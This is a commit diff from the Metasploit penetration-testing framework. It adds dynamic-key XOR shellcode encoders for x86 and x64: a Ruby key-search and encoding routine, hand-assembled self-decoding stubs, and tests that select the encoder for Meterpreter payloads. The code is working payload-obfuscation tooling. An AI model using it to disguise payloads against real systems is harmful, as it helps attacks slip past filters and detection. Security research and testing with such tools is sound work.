Land #10553, add x86/xor_dynamic and x64/xor_dynamic encoders
Merge branch 'land-10553' into upstream-masterGSoC/Meterpreter_Web_Console
commit
08ec8e1ef9
|
@ -684,4 +684,5 @@ require 'msf/core/encoder/xor_additive_feedback'
|
|||
require 'msf/core/encoder/alphanum'
|
||||
require 'msf/core/encoder/nonalpha'
|
||||
require 'msf/core/encoder/nonupper'
|
||||
require 'msf/core/encoder/xor_dynamic'
|
||||
|
||||
|
|
|
@ -0,0 +1,180 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
class Msf::Encoder::XorDynamic < Msf::Encoder
|
||||
|
||||
def initialize(info)
|
||||
super(info)
|
||||
end
|
||||
|
||||
def min_key_len
|
||||
Integer(datastore['KEYMIN'] || 0)
|
||||
end
|
||||
|
||||
def max_key_len
|
||||
Integer(datastore['KEYMAX'] || 0)
|
||||
end
|
||||
|
||||
def key_inc
|
||||
Integer(datastore['KEYINC'] || 0)
|
||||
end
|
||||
|
||||
def stub
|
||||
nil
|
||||
end
|
||||
|
||||
def stub_key_term
|
||||
nil
|
||||
end
|
||||
|
||||
def stub_payload_term
|
||||
nil
|
||||
end
|
||||
|
||||
def find_key(buf, badchars, keyChars)
|
||||
|
||||
keyFound = nil
|
||||
|
||||
bufLen = buf.length
|
||||
|
||||
# Search for a valid key
|
||||
_min_key_len = min_key_len
|
||||
if _min_key_len < 1
|
||||
_min_key_len = Integer(buf.length / 100 * (0.2 + 0.05 * badchars.length))
|
||||
if _min_key_len < 1
|
||||
_min_key_len = 1
|
||||
end
|
||||
end
|
||||
|
||||
_max_key_len = max_key_len
|
||||
if _max_key_len < 1
|
||||
_max_key_len = buf.length
|
||||
end
|
||||
|
||||
if _min_key_len > _max_key_len or min_key_len == -1
|
||||
_min_key_len = _max_key_len
|
||||
end
|
||||
|
||||
_key_inc = key_inc
|
||||
if _key_inc < 1
|
||||
_key_inc = Integer(buf.length / 100 * (0.01 + 0.001 * badchars.length))
|
||||
if _key_inc < 1
|
||||
_key_inc = 1
|
||||
end
|
||||
end
|
||||
|
||||
keyLen = _min_key_len
|
||||
while keyLen < _max_key_len + _key_inc do
|
||||
if keyLen > _max_key_len
|
||||
keyLen = _max_key_len
|
||||
end
|
||||
|
||||
#$stderr.print "\rKey size: #{keyLen}"
|
||||
#$stderr.flush
|
||||
|
||||
myKey = ""
|
||||
for x in 0..keyLen - 1 do
|
||||
keyChars.each_char do |j|
|
||||
ok = true
|
||||
i = 0
|
||||
while i + x < bufLen do
|
||||
if badchars[(buf[i + x].ord ^ j.ord).chr]
|
||||
ok = false
|
||||
break
|
||||
end
|
||||
|
||||
i += keyLen
|
||||
end
|
||||
|
||||
if ok
|
||||
myKey << j.chr
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if myKey.length == keyLen
|
||||
keyFound = myKey
|
||||
break
|
||||
end
|
||||
|
||||
keyLen += _key_inc
|
||||
end
|
||||
|
||||
#$stderr.print "\n"
|
||||
#$stderr.flush
|
||||
|
||||
return keyFound
|
||||
end
|
||||
|
||||
def encode(buf, badchars = nil, state = nil, platform = nil)
|
||||
|
||||
# Set default badchars if empty
|
||||
badchars = "\x00\x0a\x0d" if (badchars == nil or badchars == '')
|
||||
|
||||
# Check badchars in stub
|
||||
if Rex::Text.badchar_index(stub.gsub(stub_key_term, "").gsub(stub_payload_term, ""), badchars)
|
||||
raise EncodingError, "Bad character found in stub for the #{self.name} encoder.", caller
|
||||
end
|
||||
|
||||
# Set allowed chars
|
||||
keyChars = ""
|
||||
for i in 1..255 do
|
||||
if !badchars[i.chr]
|
||||
keyChars << i.chr
|
||||
end
|
||||
end
|
||||
|
||||
# Find key
|
||||
key = find_key(buf, badchars, keyChars)
|
||||
|
||||
if key == nil
|
||||
raise EncodingError, "A key could not be found for the #{self.name} encoder.", caller
|
||||
end
|
||||
|
||||
# Search for key terminator
|
||||
keyTerm = nil
|
||||
keyChars.chars.shuffle.each do |i|
|
||||
if !key[i]
|
||||
keyTerm = i
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if keyTerm == nil
|
||||
raise EncodingError, "Key terminator could not be found for the #{self.name} encoder.", caller
|
||||
end
|
||||
|
||||
# Encode paylod
|
||||
pos = 0
|
||||
encoded = ""
|
||||
while pos < buf.length
|
||||
encoded << (buf[pos].ord ^ key[pos % key.length].ord).chr
|
||||
pos += 1
|
||||
end
|
||||
|
||||
# Search for payload terminator
|
||||
payloadTerm = nil
|
||||
keyChars.chars.shuffle.each do |i|
|
||||
break unless keyChars.chars.shuffle.each do |j|
|
||||
if !encoded.index(i + j)
|
||||
payloadTerm = i + j
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if payloadTerm == nil
|
||||
raise EncodingError, "Payload terminator could not be found for the #{self.name} encoder.", caller
|
||||
end
|
||||
|
||||
finalPayload = stub.gsub(stub_key_term, keyTerm).gsub(stub_payload_term, payloadTerm) + key + keyTerm + encoded + payloadTerm
|
||||
|
||||
# Check badchars in finalPayload
|
||||
if Rex::Text.badchar_index(finalPayload, badchars)
|
||||
raise EncodingError, "Bad character found for the #{self.name} encoder.", caller
|
||||
end
|
||||
|
||||
return finalPayload
|
||||
end
|
||||
end
|
|
@ -0,0 +1,51 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Encoder::XorDynamic
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Dynamic key XOR Encoder',
|
||||
'Description' => 'An x64 XOR encoder with dynamic key size',
|
||||
'Author' => [ 'lupman', 'phra' ],
|
||||
'Arch' => ARCH_X64,
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
||||
def stub
|
||||
"\xeb\x27" + # jmp _call
|
||||
"\x5b" + # _ret: pop rbx
|
||||
"\x53" + # push rbx
|
||||
"\x5f" + # pop rdi
|
||||
"\xb0\x41" + # mov al, 'A'
|
||||
"\xfc" + # cld
|
||||
"\xae" + # _lp1: scas al, BYTE PTR es:[rdi]
|
||||
"\x75\xfd" + # jne _lp1
|
||||
"\x57" + # push rdi
|
||||
"\x59" + # pop rcx
|
||||
"\x53" + # _lp2: push rbx
|
||||
"\x5e" + # pop rsi
|
||||
"\x8a\x06" + # _lp3: mov al, BYTE PTR [rsi]
|
||||
"\x30\x07" + # xor BYTE PTR [rdi], al
|
||||
"\x48\xff\xc7" + # inc rdi
|
||||
"\x48\xff\xc6" + # inc rsi
|
||||
"\x66\x81\x3f\x42\x42" + # cmp WORD PTR [rdi], 'BB'
|
||||
"\x74\x07" + # je _jmp
|
||||
"\x80\x3e\x41" + # cmp BYTE PTR [rsi], 'A'
|
||||
"\x75\xea" + # jne _lp3
|
||||
"\xeb\xe6" + # jmp _lp2
|
||||
"\xff\xe1" + # _jmp: jmp rcx
|
||||
"\xe8\xd4\xff\xff\xff" # _call: call _ret
|
||||
end
|
||||
|
||||
def stub_key_term
|
||||
/A/
|
||||
end
|
||||
|
||||
def stub_payload_term
|
||||
/BB/
|
||||
end
|
||||
end
|
|
@ -0,0 +1,48 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Encoder::XorDynamic
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Dynamic key XOR Encoder',
|
||||
'Description' => 'An x86 XOR encoder with dynamic key size',
|
||||
'Author' => [ 'lupman', 'phra' ],
|
||||
'Arch' => ARCH_X86,
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
||||
def stub
|
||||
"\xeb\x23" + # jmp _call
|
||||
"\x5b" + # _ret: pop ebx
|
||||
"\x89\xdf" + # mov edi, ebx
|
||||
"\xb0\x41" + # mov al, 'A'
|
||||
"\xfc" + # cld
|
||||
"\xae" + # _lp1: scas al, BYTE PTR es:[edi]
|
||||
"\x75\xfd" + # jne _lp1
|
||||
"\x89\xf9" + # mov ecx, edi
|
||||
"\x89\xde" + # _lp2: mov esi, ebx
|
||||
"\x8a\x06" + # _lp3: mov al, BYTE PTR [esi]
|
||||
"\x30\x07" + # xor BYTE PTR [edi], al
|
||||
"\x47" + # inc edi
|
||||
"\x66\x81\x3f\x42\x42" + # cmp WORD PTR [edi], 'BB'
|
||||
"\x74\x08" + # je _jmp
|
||||
"\x46" + # inc esi
|
||||
"\x80\x3e\x41" + # cmp BYTE PTR [esi], 'A'
|
||||
"\x75\xee" + # jne _lp3
|
||||
"\xeb\xea" + # jmp _lp2
|
||||
"\xff\xe1" + # _jmp: jmp ecx
|
||||
"\xe8\xd8\xff\xff\xff" # _call: call _ret
|
||||
end
|
||||
|
||||
def stub_key_term
|
||||
/A/
|
||||
end
|
||||
|
||||
def stub_payload_term
|
||||
/BB/
|
||||
end
|
||||
end
|
|
@ -11,6 +11,7 @@ RSpec.describe Msf::EncodedPayload do
|
|||
'x86/shikata_ga_nai',
|
||||
# Great rank
|
||||
'x86/call4_dword_xor',
|
||||
'x86/xor_dynamic',
|
||||
'generic/none',
|
||||
],
|
||||
module_type: 'encoder',
|
||||
|
@ -132,8 +133,27 @@ RSpec.describe Msf::EncodedPayload do
|
|||
context 'with bad characters: "\\xD9\\x00"' do
|
||||
let(:badchars) { "\xD9\x00".force_encoding('binary') }
|
||||
|
||||
specify 'chooses x86/call4_dword_xor' do
|
||||
expect(encoded_payload.encoder.refname).to eq("x86/call4_dword_xor")
|
||||
specify 'chooses x86/xor_dynamic' do
|
||||
expect(encoded_payload.encoder.refname).to eq("x86/xor_dynamic")
|
||||
end
|
||||
|
||||
specify do
|
||||
expect(encoded_payload.encoded).not_to include(badchars)
|
||||
end
|
||||
|
||||
end
|
||||
context 'with windows/meterpreter_bind_tcp and bad characters: "\\x00\\x0a\\x0d"' do
|
||||
let(:badchars) { "\x00\x0a\x0d".force_encoding('binary') }
|
||||
let(:ancestor_reference_names) {
|
||||
%w{singles/windows/meterpreter_bind_tcp}
|
||||
}
|
||||
|
||||
let(:reference_name) {
|
||||
'windows/meterpreter_bind_tcp'
|
||||
}
|
||||
|
||||
specify 'chooses x86/xor_dynamic' do
|
||||
expect(encoded_payload.encoder.refname).to eq("x86/xor_dynamic")
|
||||
end
|
||||
|
||||
specify do
|
||||
|
|
Loading…
Reference in New Issue